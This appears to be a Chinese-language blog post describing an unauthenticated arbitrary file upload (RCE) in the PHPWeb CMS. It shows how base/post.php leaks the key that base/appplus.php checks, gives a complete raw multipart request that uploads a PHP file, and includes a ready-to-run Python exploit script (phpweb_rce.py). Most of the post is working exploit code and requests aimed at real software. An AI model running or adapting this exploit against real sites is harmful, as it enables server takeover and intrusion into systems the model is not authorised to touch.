一、环境搭建

宝塔Windows 6.5.0 +Nginx 1.17 + PHP 5.2 (PS:注意5.2最稳 其他版本可能报错)

1.png

安装成功之后。分析代码

首先找到

base/appplus.php

2.png

主要代码如下:

//密钥校验

$k=md5(strrev($dbUser.$dbPass));
$h=$_SERVER["HTTP_REFERER"];
$t=$_POST["t"];
$m=$_POST["m"];
$act=$_POST["act"];
$path=$_POST["path"];

$md5=md5($k.$t);
if($m!=$md5){
    echo "ERROR: 安全性校验错误";
    exit;
}

关键点在于

$k=md5(strrev($dbUser.$dbPass));

3.png

在同级搜索中,发现POST.php 会返回$k=md5(strrev($dbUser.$dbPass));

那么就是post base/post.php 参数传递一个act 如下:

4.png

这里就是返回了 $md5=md5($k.$t); 上面所需要的$k 和$t

那么只要md5 一下就可以得到$md5

如下:

5.png

那么数据包如下。发送

6.png

POST /base/appplus.php HTTP/1.1
Host: 192.168.1.210
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------191691572411478
Content-Length: 746
Connection: close
Cookie: CODEIMG=325eaeac5bef34937cfdc1bd73034d17
Upgrade-Insecure-Requests: 1

-----------------------------191691572411478
Content-Disposition: form-data; name="act"

upload
-----------------------------191691572411478
Content-Disposition: form-data; name="m"

59f9fae38f9e6ba22c2816e3d17588d4
-----------------------------191691572411478
Content-Disposition: form-data; name="t"

1579254040
-----------------------------191691572411478
Content-Disposition: form-data; name="path"

upload
-----------------------------191691572411478
Content-Disposition: form-data; name="r_size"

18
-----------------------------191691572411478
Content-Disposition: form-data; name="file"; filename="1111.php"
Content-Type: application/octet-stream

<?php phpinfo();?>
-----------------------------191691572411478--

然后感觉这样太麻烦了。就写了一个python

# coding: utf-8
# author: print("")
import requests
import re
import os


def Md5(strings):
    import hashlib
    m = hashlib.md5()
    m.update(strings.encode('utf-8'))
    return m.hexdigest()

def get_key(uri):
    try:
        data=requests.post(url=uri,data={"act":"appcode"},timeout=10).text
        k=re.findall('k=(.*)&',data)[0]
        t=re.findall('t=(.*)',data)[0]
        return {"md5":Md5(k+t),"t":t}
    except:
        print('连接服务器失败')

def send_shell():
    data=open('1.php','w')
    data.write('<?php phpinfo()?>')
    data.close()

def upload():
    send_shell()
    get_key22 = get_key(uri)
    files = {'file':open('1.php','rb')}
    data={'act':'upload','m':get_key22['md5'],'t':get_key22['t'],"path":'upload','r_size':os.path.getsize('1.php')}
    try:
        r = requests.post(url=upload_url, files=files,data=data).text
        print(r)
    except:
        print('连接服务器失败')

if __name__ == '__main__':
    import sys
    if not sys.argv[1]:exit('例如: python phpweb_rce.py http://127.0.0.1')
    url=sys.argv[1]
    uri = url + '/base/post.php'.replace('//', '/')
    upload_url = url + '/base/appplus.php'.replace('//', '/')
    upload()

7.png

执行的方式

python    aaa.py http://192.168.1.210

标签: none

添加新评论